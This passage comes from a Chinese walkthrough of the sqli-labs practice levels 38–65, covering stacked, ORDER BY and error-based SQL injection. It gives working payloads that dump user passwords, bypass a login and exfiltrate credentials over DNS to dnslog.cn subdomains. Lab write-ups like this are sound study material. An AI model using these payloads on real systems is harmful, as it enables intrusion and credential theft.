uname=%df’ and 1=2 union select 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#&passwd=
或者
uname=�’ and 1=2 union select 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#&passwd=

小结

堆叠注入stacked injection

MySQL 的命令行中,每一条语句以;结尾,这代表语句的结束,如果在注入过程中在;后面添加要执行的 SQL 语句的话,这种注入方式就叫做堆叠注入 ,与 union select 联合查询相比,堆叠查询更加灵活,可以执行任意的 SQL 语句,比如:

mysql> select * from users where id = 1;select version();
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

+-------------------------+
| version()               |
+-------------------------+
| 5.5.44-0ubuntu0.14.04.1 |
+-------------------------+
1 row in set (0.00 sec)

但并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎的影响。
在 Web 中代码通常只返回一个查询结果,因此,堆叠注入第 二个语句产生错误或者结果只能被忽略

这个就是为什么我们尝试用 union select 联合查询的原因,使用堆叠注入前,我们还需要了解数据库的相关信息才可以,如表名、列名等。

各个数据库堆叠查询实例:
MySQL

select * from users where id=1;select version();

SQL Server

select 1,2,3;select * from test;

Postgresql

select * from user_test;select 1,2,3;

Less38

id=‘$id’
又到了简单源码分析的时间了,来看看堆叠注入的代码是如何实现的:

# id 参数直接带入到 SQL 语句中
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql)):
    输出查询信息
else:
    print_r(mysqli_error($con1));

发现和之前的关卡区别不大,唯一的区别就是查询 SQL 语句由原来的:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);

?id=1’;select load_file(concat(‘\\’,(select hex(concat_ws(‘~’,username,password)) from users limit 0,1),‘.7olrrg.dnslog.cn\abc’))–+
发现无数据返回到dnslog中查看
《从0到1000》sqli-labs1-75关解题记录_第55张图片《从0到1000》sqli-labs1-75关解题记录_第56张图片

随便找个16进制转解码
在这里插入图片描述

Less-39

id=$id
和 Less-38 相比没有啥区别,只是拼接方式不一样
?id=1;select load_file(concat(‘\\’,(select hex(concat_ws(‘~’,username,password)) from users limit 0,1),‘.lqubgj.dnslog.cn\abc’))–+
《从0到1000》sqli-labs1-75关解题记录_第57张图片

Less-40

id=(‘$id’)
和 Less-38 相比只是拼接方式不一样。

但是看了这一关源码下面还有其他文件,类似于 Less-24 的二次注入,看了下源码貌似和 Less-24 是一样的,可能是作者的疏忽吧,忘记删掉这些不相干的文件了
?id=1’);select load_file(concat(‘\\’,(select hex(concat_ws(‘~’,username,password)) from users limit 0,1),‘.lqubgj.dnslog.cn\abc’))–+

Less-41

id=$id
和 Less-39 类似,因为少了报错输出,所以这里不能报错注入,其他注入方式一样,这里不再赘述

Less-42

username=‘$username’
index.php
没有啥核心代码,PHP 和 HTML 混写,只要写了登录的表单,并提供了忘记密码和创建用户的链接,相比于 Less-24 的二次注入,这两个链接都不能直接访问,无法直接创建用户。

forgot_password.php
if you forgot your password,go to hack it

acc-create.php
if you need to create account,then hack your way in

failed.php
Bug off you silly dump hacker

login.php

# username 被过滤 ' " \ password 没有被
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

# 堆叠查询
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
mysqli_multi_query($con1, $sql))

if 查询成功:
    return $row[1];
else:
    print_r(mysqli_error($con1));

if 登录成功:
    setcookie("Auth", 1, time()+3600);
    跳转到 logged-in.php

logged-in.php
登录成功,提供修改密码的表单

<form name="mylogin" method="POST" action="pass_change.php">

pass_change.php

if 没有登录:
    重定向到 index.php

if 提交了修改密码表单:
    $username= $_SESSION["username"];
    $curr_pass= mysql_real_escape_string($_POST['current_password']);
    $pass= mysql_real_escape_string($_POST['password']);
    $re_pass= mysql_real_escape_string($_POST['re_password']);

    if $pass==$re_pass:
        $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

这一题漏洞比较多,首先 login.php 中 password 没有过滤,可以进行常规的报错注入以及盲注,同时本身又支持堆叠查询,所以也支持堆叠注入。 pass_change.php update 语句存在漏洞,典型的二次注入,类似于 Less-24。
经典的万能密码绕过 1’ or 1#
《从0到1000》sqli-labs1-75关解题记录_第58张图片

Less-43

username=(‘$username’)
和 Less-42 的利用方式一致,这里只是拼接方式不一样而已
《从0到1000》sqli-labs1-75关解题记录_第59张图片

Less-44

username=‘$username’
和 Less-43 的利用方式一致,因为没有输出报错信息,所以这里少了报错注入的利用方式。
《从0到1000》sqli-labs1-75关解题记录_第60张图片

Less-45

username=(‘$username’)
与 Less-43 闭合方式一致,只是这里少了报错注入的利用方法
《从0到1000》sqli-labs1-75关解题记录_第61张图片

Less-46

进入页面后看到这样的提示,输入sort参数尝试
《从0到1000》sqli-labs1-75关解题记录_第62张图片order by 不同于 where 后的注入点,不能使用 union 等进行注入,注入方式十分灵活

# GET 方式获取 sort 参数
$id=$_GET['sort'];

# 直接将 id 带入 SQL 中
$sql = "SELECT * FROM users ORDER BY $id";

if 查询成功:
    输出查询信息
elseprint_r(mysql_error());

验证方式

# 升序排序
?sort=1 asc
# 降序排序
?sort=1 desc
#rand(ture) 和 rand(false) 的结果是不一样的
?sort=rand(true)
?sort=rand(false)
#所以利用这个可以轻易构造出一个布尔和延时类型盲注的测试 payload,此外 rand() 结果是一直都是随机的
?sort=rand()
?sort=1 and rand()

?sort=sleep(1)
?sort=(sleep(1))
?sort=1 and sleep(1)
这种方式均可以延时,延时的时间为 (行数*1) 秒

报错注入
?sort=1 and (updatexml(1,concat(0x7e,(select version())),1))
《从0到1000》sqli-labs1-75关解题记录_第63张图片

Less-47

ORDER BY ‘$id’
和 Less-46 相比,利用方式不变,只是拼接方式方式变化,注入的时候只要正常闭合即可
?sort=1’ and (updatexml(1,concat(0x7e,(select version())),1)) --+
《从0到1000》sqli-labs1-75关解题记录_第64张图片

Less-48

ORDER BY $id
和 Less-46 相比少了报错注入,布尔、延时盲注依然可以正常使用,into outfile 也可以,这里就不再过多演示了

Less-49

ORDER BY ‘$id’
和 Less-47 相比少了报错注入,布尔、延时盲注依然可以正常使用,into outfile 也可以,这里国光不再过多演示了

Less-50

ORDER BY $id
和 Less-46 相比,查询方式由 mysql_query 变成了 mysqli_multi_query,因此支持堆叠注入,在注入方面会更加灵活,详细细节可以参考 Less-38 的堆叠注入的姿势
/?sort=1;select load_file(concat(‘\\’,(select hex(concat_ws(‘~’,version())) ),‘.fgte03.dnslog.cn\abc’))–+
需要借助dnslog

Less-51

ORDER BY ‘$id’
和 Less-50 相比只是拼接方式发生了变化,实际注入的时候只需做一下对应的闭合即可

Less-52

ORDER BY $id
和 Less-50 是一样的,只是少了报错注入的利用方式

Less-53

ORDER BY ‘$id’
和 Less-51 是一样的,只是少了报错注入的利用方式

Less-54

简单源码分析:

if reset:
    # 根据时间戳生成 cookie
    setcookie('challenge', ' ', time() - 3600000);

else:
    if cookie 中有 challenge:
        $sessid=$_COOKIE['challenge'];
    else:
        # 生成 cookie 
        $expire = time()+60*60*24*30;
        $hash = data($table,$col);
        setcookie("challenge", $hash, $expire);
    if $_GET['id']:
        计数器 + 1
        $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
    if 有查询成功:
        输出查询信息
    else:
        啥都不输出

# key 被双重过滤了
$key = addslashes($_POST['key']);
$key = mysql_real_escape_string($key);
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";

?id=-1’ union select 1,2,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()) --+
《从0到1000》sqli-labs1-75关解题记录_第65张图片

得到表名aet12bqyho,这个表名可能是随机的 不同用户不一样,将其加密为16进制
?id=-1’ union select 1,2,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x6165743132627179686f)–+ 去查询列名
《从0到1000》sqli-labs1-75关解题记录_第66张图片查询字段值?id=-1’ union select 1,2,(SELECT+GROUP_CONCAT(secret_IWEH)+FROM+aet12bqyho)–+
《从0到1000》sqli-labs1-75关解题记录_第67张图片

Less-55

id=($id)
Less-55 给了 14 次尝试机会,代码基本上没有变化,只是闭合方式发生了变化,这里不再赘述

Less-56

id=(‘$id’)
和 Less-54 相比只是拼接方式不一样,还是那个姿势,详见 Less-54。
?id=-1’) union select 1,2,3 --+
《从0到1000》sqli-labs1-75关解题记录_第68张图片

Less-57

id=“$id”
和 Less-54 相比只是拼接方式不一样,还是那个姿势,详见 Less-54
?id=-1" union select 1,2,3 --+
《从0到1000》sqli-labs1-75关解题记录_第69张图片

Less-58

id=‘$id’
Less-58 这里相比较于 Less-54 - Less-57 变化还是比较大的,主要有明显区别的代码如下:

$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo 'Your Password : ' .$pass[$row['id']];

因为这里输出只输出 $unames 和 $pass 数组,pass 数组就是 unames 数组的逆序,所以这里使用联合查询的话是没有效果的,输出不了有用的信息。天无绝人之路,但是下面输出:

print_r(mysql_error());

所以这里就可以进行报错注入,下面直接丢 payload 吧:
?id=5’ and updatexml(1,concat(0x7e,(version())),1) --+
《从0到1000》sqli-labs1-75关解题记录_第70张图片

Less-59

id=$id
与 Less-58 的思路一样,只是拼接方式不一样,详见 Less-58
《从0到1000》sqli-labs1-75关解题记录_第71张图片

Less-60

id=(“$id”)
与 Less-58 注入方式一致,只是拼接方式不一样罢了,详见 Less-58
《从0到1000》sqli-labs1-75关解题记录_第72张图片

Less-61

id=((‘$id’))
与 Less-58 注入方式一致,只是拼接方式不一样罢了,详见 Less-58
《从0到1000》sqli-labs1-75关解题记录_第73张图片

Less-62

id=(‘$id’)
此时报错也取消了,这里只能进行布尔盲注或者延时盲注了

Less-63

id=‘$id’
与 Less-62 注入方式一致,只是拼接方式不一样罢了

Less-64

id=(($id))
与 Less-62 注入方式一致,只是拼接方式不一样罢了,详见 Less-62

Less-65

id=(“$id”)
与 Less-62 注入方式一致,只是拼接方式不一样罢了,详见 Less-62

总结

本文仅记录作者个人的解题过程,其中大量的思路讲解参考国光

你可能感兴趣的:(笔记,php,mysql,数据库)